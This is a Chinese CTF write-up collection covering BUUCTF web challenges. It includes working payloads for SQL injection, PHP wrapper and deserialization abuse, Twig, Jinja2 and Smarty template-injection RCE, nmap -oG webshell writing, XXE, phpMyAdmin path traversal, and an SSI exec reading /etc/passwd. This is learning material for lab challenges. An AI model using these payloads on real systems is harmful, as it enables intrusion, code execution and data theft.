RoarCTF 2019]Easy Java
第一次接触java题目,记录过程可能比较繁琐

打开界面,是用户登录,试试万能密码1' or 1=1--+没效果,看题目java,应该是跟java有关
点击help

提示找不到help.docx文件,url有filename,猜测有任意文件读取漏洞
由于我此前并未接触过java题目,问问ai


不行,可能是文件路径问题


还是不行,到这里卡了好久,本来都想看wp了,神使鬼差的试了试POST

成功了!关键代码
<servlet>
<servlet-name>FlagController</servlet-name>
<servlet-class>com.wm.ctf.FlagController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>FlagController</servlet-name>
<url-pattern>/Flag</url-pattern> </servlet-mapping>
搜了一下,FlagController是servlet类文件,通常带有.class后缀,通常会储存在/WEB-INF/classes路径上

通过download下载,找一个java的class文件反编译网站解析class文件

base64解密
flag{c02faa12-80ab-4c93-b47e-18465aee1121}
[网鼎杯 2018]Fakebook

注册用户后登录,那就先注册一个

(这块卡了好久,那个blog真猜不到要是网址形式才可以)点开用户

url明显的sql注入隐患

数字型注入,用联合注入即可

几乎没有的过滤,’union select‘词检测,空格用/**/即可,按顺序注入
ok又卡住了,表名死活爆不出来,做一下默认dirsearch

哦是文件读取啊
payload:?no=-1 union/**/select 1,load_file(''/var/www/html/flag.php''),3,4#

收工!
flag{1aec932f-a6f7-4b27-8c9f-d9096c17c9c1}
[BSidesCF 2020]Had a bad day

改一下传参,文件包含无疑了

就是要包含flag.php了
有白名单过滤,必须要包含woofers或者meowers,构造伪协议

data伪协议禁用
payload:?category=php://filter/read=convert.base64-encode|woofers/resource=flag
filter伪协议进行未定义操作时会返回warning报错但不终止代码执行

BUUCTF之[网鼎杯 2020 朱雀组]phpweb

转包可以写函数和参数,尝试eval,被禁用
经过多次尝试file_get_contents可以用
没有发现flag文件,看一眼index中的源代码
payload:func=file_get_contents&p=index.php
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>
有一个class类和destruct魔术方法,没有禁用反序列化,直接修改类中数据

没有找到flag文件,上网搜一下linux的文件搜寻命令 find / -name ????

应该是第一个了

[BJDCTF2020]The mystery of ip

一眼xff,伪造IP
这里想了很久,尝试了各种方法,都不成功,浅浅撇了一眼wp,原来是模板注入,造成SSTI
参考XFF SSTI 模板注入 [BJDCTF2020]The mystery of ip
此题为PHP/模版引擎Twig注入

测试存在模板注入

找到根目录flag即可
[BJDCTF2020]ZJCTF,不过如此
<?php
error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
die("Not now!");
}
include($file); //next.php
}
else{
highlight_file(__FILE__);
}
?>
这里涉及到一个file_get_contents()函数,而这个函数是可以绕过的
绕过方式有多种:
使用php://input伪协议绕过
1)要GET的参数?xxx=php://input
2)用post方法传入想要file_get_contents()函数返回的值
用data://伪协议绕过
将url改为:?xxx=data://text/plain;base64,想要file_get_contents()函数返回的值的base64编码
或者将url改为:?xxx=data:text/plain,(url编码的内容)
payload:?text=data://text/plain,I%20have%20a%20dream&file=php://filter/convert.base64-encode/resource=next.php
next.php内容
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re,$str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
此处有点困难,先学习一下/
代码中\1(向后匹配)之后的内容被匹配后将被进行代码执行
所以要找到一个匹配方式能不配getflag,但 . 字符不被php命名规则允许,使用/S模式会匹配所有非空白字符
解决了模式,但是会执行的命令是strlower,该如何执行getFlag呢
php的特性,双引号遇到变量是会先解析变量,单引号则直接当作字符,就像
strtolower("${getFlag()}") 此代码会先解析执行getFlag(),在执行strtolower
strtolower('${getFlag()}') 此代码会直接执行strtolower 结果${getflag()}
总结来说php中双引号是由代码执行隐患的
payload:?\S*=${getFlag()}&cmd=system('cat /flag');
既然双引号可以命令执行,那我们何不直接在getflag直接执行呢

可行的

空格不被允许,可惜了
[BUUCTF 2018]Online Tool
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}
看到沙箱,以为这题会跟沙箱有关,搜了半天相关资料也没个头绪,最后才发现问题是出在nmap上
参考nmap -oG -iL 写入文件和读取文件之[网鼎杯 2020 朱雀组]Nmap
nmap的读写文件操作
利用-oG,可以将命令和结果写进文件。
利用-iL 和-oN。其中-iL是从inputfilename文件中读取扫描的目标。在这个文件中要有一个主机或者网络的列表,由空格键、制表键或者回车键作为分割符。如果使用-iL-,nmap就会从标准输入stdin读取主机名字。你可以从指定目标一节得到更加详细的信息,-oN是把扫描结果重定向到一个可读的文件logfilename中。
payload:?host=' <?=@eval($_POST[1]);?> -oG hack.php '
[GXYCTF2019]禁止套娃
这个题有点奇怪,dirsearch扫出来有git泄露,githack却获取不到,我用githack试了一下ctfhub里的git泄露题,是成功的,所以这里直接从网上的wp里找了index的源码
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
可以看出来,禁用了伪协议,把()内的内容替换为空,然后又替换了一些关键词,主要应该是过滤括内的部分了,在重点分析一下这个正则
首先比配是字母或这下划线后加括号,数字不被允许,后面用递归表示前面的正则匹配可以出现多次也就是可以出现aaa(bb(c(d())))的无限套娃行为,但是括号里显然不能单独出现其他字符,也就是不能用参数,所以直接用之前见过的一个无参数rce代码
show_source(next(array_reverse(scandir(pos(localeconv())))));
代码比较复杂,这里再由内到外重新理解一下
localeconv() 函数返回一个包含本地数字及货币格式信息的数组,而这个函数返回的数组第一个一定是 . 一个小数点
pos() 函数返回数组中的当前元素的值。该函数是 current() 函数的别名。每个数组中都有一个内部的指针指向它的"当前"元素,初始指向插入到数组中的第一个元素,这就对应上一个函数返回数组的的一个元素.小数点
scandir()函数是用于获取指定路径中的文件和目录列表的内置函数。这个函数返回一个数组,包含了指定目录中的所有文件和目录。这里就相当于使用了scandir(.)返回当前目录的所有文件名的数组
array_reverse()将括号内数组逆序输出
next()顾名思义,输出下一个数组,show_sourced打印文件内容
这其实是有猜测的,当前目录文件中顺序可能是1 . 小数点永远是数组第一位 。2 .git 扫描出来的 3 flag.php 4 index.php 经过上述操作flag是倒数第二个文件,所以会被成功打印,此代码应该是之前那个题有输出限制,在此题中可以进行优化

先打印出所有文件名,再进行读取文件
此题还可以用sessionid组合拳解决,这是我看wp看到的,放个链接
[NCTF2019]Fake XML cookbook
看一眼源代码,发现前端js
function doLogin(){
var username = $("#username").val();
var password = $("#password").val();
if(username == "" || password == ""){
alert("Please enter the username and password!");
return;
}
var data = "<user><username>" + username + "</username><password>" + password + "</password></user>";
$.ajax({
type: "POST",
url: "doLogin.php",
contentType: "application/xml;charset=utf-8",
data: data,
dataType: "xml",
anysc: false,
success: function (result) {
var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;
var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;
if(code == "0"){
$(".msg").text(msg + " login fail!");
}else if(code == "1"){
$(".msg").text(msg + " login success!");
}else{
$(".msg").text("error:" + msg);
}
},
error: function (XMLHttpRequest,textStatus,errorThrown) {
$(".msg").text(errorThrown + ':' + textStatus);
}
});
}
很基础的xxe,先去学习了一下xml,然后构造一个文件读取请求

抓包,然后伪造数据

将flag内容赋值给always,然后将always输出
[GWCTF 2019]我有一个数据库
进入网站,啥也没有

用dirsearch扫描,扫出robots,phpinfo,phpmyadmin,robots让我去看phpinfo,不知道啥含义,看半天不知道info里有什么,最后进入phpmyadmin,使mysql管理界面

感觉不是个正常东西,上网一搜,漏洞还挺多的,找了一下版本是4.8.1,浏览器一搜有目录穿越漏洞,构造poc
phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../../../flag
加在url就好了

[BJDCTF2020]Mark loves cat

很花里胡哨的界面,没什么头绪,dirsearch一下发现git泄露,使用githacker

flag.php中没有flag,分析index
<?php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';
foreach($_POST as $x => $y){
$$x = $y;
}
foreach($_GET as $x => $y){
$$x = $$y;
}
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}
echo "the flag is: ".$flag;
很明显变量覆盖,那就是要把$flag的值赋给exit中会输出的变量,分析可知使用仅使用get传参会触发yds变量,看foreach可知$$x=$yy,构造poc
?yds=flag
在foreach中解读为
$x=yds;
$y=flag;
$yds=$flag;
产生了变量覆盖

[WUSTCTF2020]朴实无华
首先dirsearch扫描到fl4g.php(其实dirsearch没扫到,字典里没有,这是我看wp看到的😭
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);
//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "鎴戜笉缁忔剰闂寸湅浜嗙湅鎴戠殑鍔冲姏澹�, 涓嶆槸鎯崇湅鏃堕棿, 鍙槸鎯充笉缁忔剰闂�, 璁╀綘鐭ラ亾鎴戣繃寰楁瘮浣犲ソ.</br>";
}else{
die("閲戦挶瑙e喅涓嶄簡绌蜂汉鐨勬湰璐ㄩ棶棰�");
}
}else{
die("鍘婚潪娲插惂");
}
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "鎯冲埌杩欎釜CTFer鎷垮埌flag鍚�, 鎰熸縺娑曢浂, 璺戝幓涓滄緶宀�, 鎵句竴瀹堕鍘�, 鎶婂帹甯堣桨鍑哄幓, 鑷繁鐐掍袱涓嬁鎵嬪皬鑿�, 鍊掍竴鏉暎瑁呯櫧閰�, 鑷村瘜鏈夐亾, 鍒灏忔毚.</br>";
else
die("鎴戣刀绱у枈鏉ユ垜鐨勯厭鑲夋湅鍙�, 浠栨墦浜嗕釜鐢佃瘽, 鎶婁粬涓€瀹跺畨鎺掑埌浜嗛潪娲�");
}else{
die("鍘婚潪娲插惂");
}
//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "鎯冲埌杩欓噷, 鎴戝厖瀹炶€屾鎱�, 鏈夐挶浜虹殑蹇箰寰€寰€灏辨槸杩欎箞鐨勬湸瀹炴棤鍗�, 涓旀灟鐕�.</br>";
system($get_flag);
}else{
die("蹇埌闈炴床浜�");
}
}else{
die("鍘婚潪娲插惂");
}
?>
代码审计level1是intval绕过,使用科学计数法
intval(2019e1)==2019<2020
intval(2019e1+1)==intval(2019e2)>2021
level2 md5绕过
同样科学计数法
0e215962017
的MD5值也是0e开头,结果都是0
最后空格绕过,ls发现flllllllaaaaaaag通过tac读取%09绕过即可

[BJDCTF2020]Cookie is so stable

直接来找cookie,这么看应该是模板注入了,测试是twig

有过滤,上网搜一下,twig注入固定模板
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}} //查看ID
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}} //查看flag

[MRCTF2020]Ezpop
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
典型php反序列化,构造pop链

通过show的wakeup函数调用test的get函数再进入modifier的invoke函数完成文件包含
[安洵杯 2019]easy_web

首先发现url有两个参数,img参数一眼经过base64解码,经测试,是base64->base64->hex编码,解码后是555.png

查看源代码,包含有该图片的base64编码数据
猜测img可以使文件内容进行base64编码输出,构造index.php,成功取得源代码
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));
$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixiï½ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}
?>
<html>
<style>
body{
background:url(./bj.png) no-repeat center center;
background-size:cover;
background-attachment:fixed;
background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>
代码审计,md5强类型绕过使用burp抓包(使用了string强转数组会变成array,所以数组绕过不行)
a = %4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
b = %4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
cmd有许多绕过
使用反斜线绕过,刚开始也可以用find /在所有文件里找flag


[MRCTF2020]PYWebsite
首先dirsearch扫描到flag.php

感觉是xff,burp抓包试一下

额,怎么一步解了
[WesternCTF2018]shrine

直接泄露源码,flask框架,似乎是模板注入,可以传参

测试,是jinja2模板注入,
在python里,有许多内置函数,其中有一个 url_for ,其作用是给指定的函数构造 URL。配合globals(),该函数会以字典类型返回当前位置的全部全局变量。这样也可以实现查看的效果
https://blog.csdn.net/Drifter_Galaxy/article/details/116106315
先查看当前位置的全部全局变量
shrine/{{url_for.__globals__}}

current_app': 这里的current就是指的当前的app,这样我们只需要能查看到这个的config就可以看到flag了
方法如下
{% set config=None %} 和 {% set self=None %} 将 config 和 self 变量设置为 None,其目的是防止模板注入攻击中利用这些变量来访问敏感信息。
可以通过属性访问的方式绕过这种防御。例如,使用 url_for.globals['current_app'].config['FLAG'] 这样的表达式:
config:{{url_for.__globals__['current_app'].config['FLAG']}}
这里的 config 是一个路径而不是直接的变量引用。具体来说,这个表达式:
url_for: 通常在 Flask 应用中用于生成 URL。
globals: Flask 提供的全局对象。
current_app: 代表当前应用实例。
config: 当前应用的配置对象。
['FLAG']: 从配置对象中访问名为 FLAG 的配置项。
在这个表达式中,config 只是路径的一部分,而不是直接的变量引用。因此,即使您在模板中将 config 变量设置为 None,也不会影响这个路径的解析,因为这里的 config 并不是模板中的 config 变量,而是 current_app 对象的属性。
{{url_for.__globals__['current_app'].config['FLAG']}}
也可以用
{{get_flashed_messages.__globals__['current_app'].config['FLAG']}}
[安洵杯 2019]easy_serialize_php
页面源代码
<?php
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
有filter函数作过滤,有extract怀疑有变量覆盖,有unserialze反序列化,触发条件是url传参f=show_image
最后是file_get_contents读取文件,应是通过反序列化控制userinfo数组的img变量为想查看的文件名
作为反序列化的变量$serialize_info是由session变量序列化,应该是用变量覆盖改变session的值
先根据提示查看phpinfo

找到要查看的文件名
进行代码审计,如何覆盖seesion使其具有img变量会被

修改,应绕过此检测,也就是使session中不具有此变量,但经过序列化和反序列化操作后重新具有此变量,而有过滤函数将序列化字符串中关键词转变为空,考察点为字符串逃逸
构造poc,先观察原始字符串和目标字符串

重新覆盖user和function,使其替换flag后能包含img变量

如此即可
[网鼎杯 2020 朱雀组]Nmap
与之前Online Tool相同,使用payload
' <?=@eval($_POST[1]);?> -oG hack.php '即可
php被过滤,使用phtml绕过

成功,蚁剑连接即可
[ASIS 2019]Unicorn shop

首先看到可以输入id和price
经过试错,发现id为4时是正确商品,但price中只能输入一个字符,正常输入会显示钱不足,应该是想办法绕过使price大于1337,查看一下源代码

提示utf-8很重要,应该使编码有问题,百度一下,发现utf-8使unicode的一种,通过了解unicode会发现此编码会给一些特定字符附上Numeric Value等价相同数字,比如万和数字10000等价,尝试

unicode查询网站https://www.compart.com/en/unicode

成功
[NPUCTF2020]ReadlezPHP

打开页面没有发现,源代码右键禁用,手动输入view-source

发现time.php进入
<?php
#error_reporting(0);
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "Y-m-d h:i:s";
$this->b = "date";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$c = new HelloPhp;
if(isset($_GET['source']))
{
highlight_file(__FILE__);
die(0);
}
@$ppp = unserialize($_GET["data"]);
2024-12-12 09:40:17
代码审计
利用点$b($a)使用assert函数即可执行phpinfo

找到flag
Unicorn shop

购买物品的界面

输入两位价格提示只能输入一个字符

输入1,2,3号商品提示错误的物品,猜测应该是要成功购买商品四,应该是要通过某种方法让输入的一个字符比1337大

查看源代码,发现提示utf-8很重要,搜索一下,是unicode编码,其中一些字符会有numeric value属性,可以等效一些数字
使用Unicode - Compart网站查询

万可以等效10000,输入价格

获取到flag
[CISCN2019 华东南赛区]Web11
这个题前面考过,不难

提示ip,下面有xff,右上角显示ip

最下方描述是smarty模板,盲猜smarty模板注入,直接burp抓包构造xff输入{system("ls")}命令即可
[SWPU2019]Web1
首先注册一个账号登录

申请发布广告

简约的界面,猜测是xss
尝试alert(1),成功

不过似乎没有可以利用的bot,应该思路错了
经测试,广告申请这里存在sql注入

不过过滤的有点多啊,空格 or and --+ #
分析,空格可用/**/ ,#号结尾可以用&&'1'='1 , 但information中含有or无法使用,我们需要绕过,以下为找到的两种方法
InnoDb引擎
从MYSQL5.5.8开始,InnoDB成为其默认存储引擎。而在MYSQL5.6以上的版本中,inndb增加了innodb_index_stats和innodb_table_stats两张表,这两张表中都存储了数据库和其数据表的信息,但是没有存储列名。
sys数据库
在5.7以上的MYSQL中,新增了sys数据库,该库的基础数据来自information_schema和performance_chema,其本身不存储数据。可以通过其中的schema_auto_increment_columns来获取表名。
注:sys库需要root权限才能访问。innodb在mysql中是默认关闭的。
要绕过information,就找不到列名,所以用到无列名sql注入
简单思路,给列起一个别名,并通过别名查询
payload:-1'/**/union/**/select/**/1,(select/**/group_concat(2
)/**/from/**/(select/**/1,2,3/**/union/**/select/**/*/**/from/**/users)n),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22&&'1'='1
[BSidesCF 2019]Kookie

题目说要用cookie,burp抓包一下

账号密码错误,伪造一下cookie看看

ez
[极客大挑战 2019]FinalSQL

id参数数字型布尔盲注,写脚本

爆出Flaaaaag表名,继续爆字段名
这题很搞啊flag反而在F1naI1y里

flag在password里,继续爆

爆完了欸嘿
[CISCN 2019 初赛]Love Math
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){cos})&pi=system&cos=cat /flag
通过十进制转三十六进制构造字母传参完成构造$_GET{pi}($_GET{cos})
[极客大挑战 2019]RCE ME

简单的无字母数字命令执行,蚁剑链接

有开waf

用蚁剑插件直接绕过
[De1CTF 2019]SSRF Me
python审计,首先看启动文件app/flag.txt

两个路由,一个路由可以让我们拿到验证签名一个路由进行文件读取

exec方法中进行文件读取操作,其中要求action中同时拥有scan和read
首先获得签名
/genesign路由可以拿到MD5(key+param+‘scan’)param我们想通过输入flag.txt进行ssrf文件读取,签证加密为MD5(key+param+action)我们可以构造/genesign?param=flag.txtread来满足接下来action中的read,拿到sign后通过/De1ta路由获得flag

[BJDCTF2020]EasySearch
这是一个ssi,先来了解一下ssi
SSI全称是Server Side Includes,即服务器端包含,是一种基于服务器端的网页制作技术。
SSI是嵌入HTML页面中的指令,在页面被提供时由服务器进行运算,以对现有HTML页面增加动态生成的内容,而无须通过CGI程序提供其整个页面,或者使用其他动态技术。
基本原理就是:SSI在HTML文件中,可以通过注释行调用命令或指针,即允许通过在HTML页面注入脚本或远程执行任意代码。
在一些简单的页面中,它可以省去一些复杂的框架直接利用html执行动态化语言,执行命令的格式
<!--#include file="文件名称"--> <!–#exec cmd="文件名称"–> <!--#exec cmd="cat /etc/passwd"-- <!–#exec cgi="文件名称"–> <!--#exec cgi="/cgi-bin/access_log.cgi"–> |
进入这道题

很简单的页面,dirsearch扫出来index.php.swp,直接找到源码
<?php ob_start(); function get_hash(){ $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-'; $random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times $content = uniqid().$random; return sha1($content); } header("Content-Type: text/html;charset=utf-8"); *** if(isset($_POST['username']) and $_POST['username'] != '' ) { $admin = '6d0bc1'; if ( $admin == substr(md5($_POST['password']),0,6)) { echo "<script>alert('[+] Welcome to manage system')</script>"; $file_shtml = "public/".get_hash().".shtml"; $shtml = fopen($file_shtml, "w") or die("Unable to open file!"); $text = ' *** *** <h1>Hello,'.$_POST['username'].'</h1> *** ***'; fwrite($shtml,$text); fclose($shtml); *** echo "[!] Header error ..."; } else { echo "<script>alert('[!] Failed')</script>"; }else { *** } *** ?>
只需要找到一个MD5加密后的password满足前六位时6d0bc1,爆破一下发现是2020666

输入后在响应头找到url,进入

很明显那个111存在注入,直接使用ssi命令就行


找到flag